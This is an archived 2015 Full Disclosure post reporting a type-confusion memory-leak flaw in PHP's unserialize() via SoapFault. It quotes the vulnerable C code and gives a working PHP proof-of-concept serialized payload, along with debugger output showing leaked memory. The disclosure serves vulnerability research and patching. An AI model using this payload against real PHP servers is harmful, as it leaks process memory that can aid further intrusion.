full-disclosure - [FD] Type Confusion Infoleak Vulnerability in unserialize() with SoapFault

Open Source and information security mailing list archives

Message-ID: <CANDcD1UDfCk-GTQ6huxKkNWptN7ZatE3T9DVC+KDf6bkOhA1fg@mail.gmail.com>
Date: Wed, 29 Apr 2015 22:56:11 +0800
From: Taoguang Chen <taoguangchen@...il.com>
To: fulldisclosure <fulldisclosure@...lists.org>
Subject: [FD] Type Confusion Infoleak Vulnerability in unserialize() with
	SoapFault

# Type Confusion Infoleak Vulnerability in unserialize() with SoapFault

Taoguang Chen <[@chtg](http://github.com/chtg)> - Write Date: 2015.3.1
- Release Date: 2015.4.28

> A type confusion vulnerability was discovered in unserialize() with SoapFault object's __toString() magic method that can be abused for leaking arbitrary memory blocks.

Affected Versions
------------
Affected is PHP 5.6 < 5.6.8
Affected is PHP 5.5 < 5.5.24
Affected is PHP 5.4 < 5.4.40
Affected is PHP 5.3 <= 5.3.29

Credits
------------
This vulnerability was disclosed by Taoguang Chen.

Description
------------

```
PHP_METHOD(SoapFault, __toString)
{
...
	faultcode   = zend_read_property(soap_fault_class_entry, this_ptr,
"faultcode", sizeof("faultcode")-1, 1 TSRMLS_CC);
	faultstring = zend_read_property(soap_fault_class_entry, this_ptr,
"faultstring", sizeof("faultstring")-1, 1 TSRMLS_CC);
	file = zend_read_property(soap_fault_class_entry, this_ptr, "file",
sizeof("file")-1, 1 TSRMLS_CC);
	line = zend_read_property(soap_fault_class_entry, this_ptr, "line",
sizeof("line")-1, 1 TSRMLS_CC);
...
	len = spprintf(&str, 0, "SoapFault exception: [%s] %s in
%s:%ld\nStack trace:\n%s",
	               Z_STRVAL_P(faultcode), Z_STRVAL_P(faultstring),
Z_STRVAL_P(file), Z_LVAL_P(line),
	               Z_STRLEN_P(trace) ? Z_STRVAL_P(trace) : "#0 {main}\n");

	zval_ptr_dtor(&trace);

	RETURN_STRINGL(str, len, 0);
}
```

The Z_STRVAL_P macro lead to looking up an arbitrary valid memory
address, and return a string via a integer-type zval that start from
this memory address. If the memory address is an invalid memory
position, it should result in a crash.
The Z_LVAL_P macro lead to leaking memory address via a string-type
zval that this string value stored.

Proof of Concept Exploit
------------
The PoC works on standard MacOSX 10.10.2 installation of PHP 5.5.14.

```
<?php

$data = 'O:9:"SoapFault":4:{s:9:"faultcode";i:4298448493;s:11:"faultstring";i:4298448543;s:7:"'."\0*\0".'file";i:4298447319;s:7:"'."\0*\0".'line";s:4:"ryat";}';
echo unserialize($data);

?>
```

Test the PoC on the command line, then output some memory blocks and
memory address:

```
$ lldb php
(lldb) target create "php"
Current executable set to 'php' (x86_64).
(lldb) run test.php
SoapFault exception: [UH??AWAVSPI??I??H????
 in UH??AWAVAUATSH???:4307253992           ] UH??SPD???*?????t"H?
Stack trace:
#0 test.php(4): unserialize('O:9:"SoapFault"...')
#1 {main}
Process 889 exited with status = 0 (0x00000000)
```

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives